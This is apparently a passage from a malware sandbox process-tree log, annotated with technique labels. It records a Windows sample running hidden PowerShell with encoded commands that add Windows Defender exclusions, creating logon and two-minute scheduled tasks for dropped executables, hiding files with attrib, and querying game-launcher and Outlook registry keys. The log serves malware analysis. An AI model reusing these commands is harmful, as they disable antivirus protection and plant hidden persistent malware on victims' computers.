  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAEwAUgBfAHYANAAuADAAXABcAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBVAHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:5532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Riot Games" /s 2>nul'"
  2⤵
  PID:1580
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Riot Games /s 2>nul"
    3⤵
    PID:6772
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Riot Games /s
      4⤵
      Modifies registry key
      PID:7104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBVAHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:4816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SystemSettingsUpdaterSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:5656
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SystemSettingsUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6060
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SystemSettingsUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\Software\Blizzard Entertainment" /s 2>nul'"
  2⤵
  PID:6664
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\Software\Blizzard Entertainment /s 2>nul"
    3⤵
    PID:6548
  - - C:\Windows\system32\reg.exe
      reg query HKLM\Software\Blizzard Entertainment /s
      4⤵
      Modifies registry key
      PID:6304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SystemSettingsUpdaterSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:6740
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SystemSettingsUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:7160
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SystemSettingsUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\Software\Ubisoft" /s 2>nul'"
  2⤵
  PID:6272
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\Software\Ubisoft /s 2>nul"
    3⤵
    PID:1504
  - - C:\Windows\system32\reg.exe
      reg query HKLM\Software\Ubisoft /s
      4⤵
      Modifies registry key
      PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS" 2>nul'"
  2⤵
  PID:6400
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4540
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS
      4⤵
      Views/modifies file attributes
      PID:6656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Ubisoft" /s 2>nul'"
  2⤵
  PID:7024
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Ubisoft /s 2>nul"
    3⤵
    PID:6992
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Ubisoft /s
      4⤵
      Modifies registry key
      PID:6320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6264
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6780
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe
      4⤵
      Views/modifies file attributes
      PID:6428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\Software\Electronic Arts" /s 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2888
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\Software\Electronic Arts /s 2>nul"
    3⤵
    PID:6476
  - - C:\Windows\system32\reg.exe
      reg query HKLM\Software\Electronic Arts /s
      4⤵
      Modifies registry key
      PID:6676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAGkAbgBTAHgAUwAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:7040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Microsoft\OneDrive" /v Version 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3524
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Microsoft\OneDrive /v Version 2>nul"
    3⤵
    PID:2936
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Microsoft\OneDrive /v Version
      4⤵
      PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAGkAbgBTAHgAUwBcAFwAbgBnAGUAbgBfAHMAZQByAHYAaQBjAGUALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:5496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Google\Drive" /v Version 2>nul'"
  2⤵
  PID:3892
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Google\Drive /v Version 2>nul"
    3⤵
    PID:6160
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Google\Drive /v Version
      4⤵
      Modifies registry key
      PID:6436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAG4AZwBlAG4AXwBzAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles" /s 2>nul'"
  2⤵
  PID:4972
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles /s 2>nul"
    3⤵
    PID:2348
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles /s
      4⤵
      Modifies registry key
      PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "ngen_serviceSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6224
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn ngen_serviceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6460
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn ngen_serviceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "ngen_serviceSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:6960
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn ngen_serviceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:3336
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn ngen_serviceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5548
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1964
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery
      4⤵
      Views/modifies file attributes
      PID:6964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe" 2>nul'"
  2⤵
  PID:6632
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4124
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe
      4⤵
      System Time Discovery
      Views/modifies file attributes
      PID:7088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABJAG4AdABlAHIAbgBlAHQAIABFAHgAcABsAG8AcgBlAHIAXABcAFIAZQBjAG8AdgBlAHIAeQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABJAG4AdABlAHIAbgBlAHQAIABFAHgAcABsAG8AcgBlAHIAXABcAFIAZQBjAG8AdgBlAHIAeQBcAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:6300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6892
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    - System Time Discovery
    PID:6024
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:6668
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    - System Time Discovery
    PID:6364
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework" 2>nul'"
  2⤵
  PID:2676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6604
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework
      4⤵
      Views/modifies file attributes
      PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe" 2>nul'"
  2⤵
  PID:3916
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1384
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe
      4⤵
      Views/modifies file attributes
      PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXAAuAE4ARQBUAFwAXABGAHIAYQBtAGUAdwBvAHIAawAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
